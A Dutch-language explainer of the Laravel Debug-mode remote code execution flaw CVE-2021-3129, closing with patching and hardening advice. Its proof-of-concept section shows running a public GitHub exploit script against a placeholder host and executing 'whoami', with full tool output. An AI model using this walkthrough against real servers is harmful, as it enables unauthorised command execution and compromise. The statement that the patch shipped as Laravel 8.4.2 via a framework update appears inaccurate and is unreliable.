In februari 2021 ontdekte een security-onderzoeker een ernstige beveiligingskwetsbaarheid in het populaire PHP-framework Laravel. De kwetsbaarheid, aangeduid als CVE-2021-3129, maakt het mogelijk voor aanvallers om willekeurige code uit te voeren op de server waarop de kwetsbare applicatie draait. Dit kan leiden tot een volledige compromittering van de server.
Hoe de exploit werkt
De kwetsbaarheid ontstaat door een fout in de manier waarop Laravel gebruikersinvoer verwerkt wanneer de applicatie in Debug-modus draait.
Debug-modus is een Laravel-functie die ontwikkelaars helpt door gedetailleerde foutmeldingen te tonen, zodat problemen makkelijker kunnen worden opgespoord.
Wanneer een aanvaller echter in staat is om speciaal vervaardigde input aan te leveren aan een Laravel-applicatie die in Debug-modus draait, kan deze kwetsbaarheid worden misbruikt om willekeurige code op de server uit te voeren.
Proof of concept
In deze proof of concept maken we gebruik van een script dat is ontwikkeld door Joshua van der Poll, waarmee de Laravel Debug-kwetsbaarheid (CVE-2021-3129) kan worden misbruikt.
De kwetsbaarheid treft zowel Windows- als Linux-gebaseerde Laravel-installaties.
Het script is beschikbaar op GitHub: joshuavanderpoll/CVE-2021-3129.
De Python-tool controleert of een doelwit kwetsbaar is en staat, indien dit het geval is, het uitvoeren van commando’s op het systeem toe.
Om te beginnen download je het script van GitHub en volg je de stappen in de README.md. Zodra alles is ingesteld, voer je het script uit met:
$ python3 CVE-2021-3129.py
Je ziet dan uitvoer in de trant van:
Laravel Debug Mode CVE script [•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129 [•] Using PHPGGC: https://github.com/ambionics/phpggc [?] Enter host (e.g. https://example.com/) : https://unsafe_laravel_site.com/ [@] Starting exploit on "https://unsafe_laravel_site.com/"... [@] Testing vulnerable URL https://unsafe_laravel_site.com/_ignition/execute-solution... [√] Host seems vulnerable! [@] Searching Laravel log file path... [•] Laravel seems to be running on a Windows based machine. [√] Laravel log found: "C:\inetpub\wwwroot\UnsafeLaravel\storage\logs\laravel.log". [•] Laravel version found: "7.30.4". [•] Use "?" for a list of all possible actions. [?] Please enter a command to execute:
Wanneer het script aangeeft dat het doelwit kwetsbaar is, kun je commando’s uitvoeren.
Bijvoorbeeld:
execute whoami
Het resultaat ziet er dan ongeveer zo uit:
[@] Executing command "whoami"... [@] Generating payloads... [√] Generated 12 payloads. [@] Trying chain laravel/rce1 [1/12]... [@] Clearing logs... [@] Causing error in logs... [√] Caused error in logs. [@] Sending payloads... [√] Sent payload. [@] Converting payload... [√] Converted payload. [√] Result: autorite nt\iusr [?] Do you want to try the next chain? [Y/N] : n
Zoals je ziet, kun je met het script commando’s uitvoeren op het doelwit als de patch niet is toegepast. Dit kan ertoe leiden dat het systeem wordt gecompromitteerd of dat er een backdoor wordt geplaatst.
Hoe je de kwetsbaarheid patcht
Het Laravel-ontwikkelingsteam bracht snel een patch uit in Laravel versie 8.4.2.
Daarnaast werd een security advisory gepubliceerd waarin gebruikers dringend werd geadviseerd om hun applicaties zo snel mogelijk te updaten.
Om jouw Laravel-installatie te upgraden, voer je vanuit de rootfolder van je project het volgende uit:
composer update laravel/framework
Deze opdracht werkt Laravel bij naar de nieuwste versie, waarin de patch voor CVE-2021-3129 zit.
Zorg er daarnaast altijd voor dat Debug-modus is uitgeschakeld in productieomgevingen.
Debug-modus is uitsluitend bedoeld voor ontwikkeling en testen.
Samenvatting
Samengevat: CVE-2021-3129 is een ernstige kwetsbaarheid waarmee aanvallers willekeurige code kunnen uitvoeren op servers met een kwetsbare Laravel-applicatie.
De kwetsbaarheid is verholpen in Laravel 8.4.2, dus als je een oudere versie gebruikt, is het cruciaal om direct te updaten.
Daarnaast moet Debug-modus in productie volledig uitgeschakeld zijn om misbruik te voorkomen.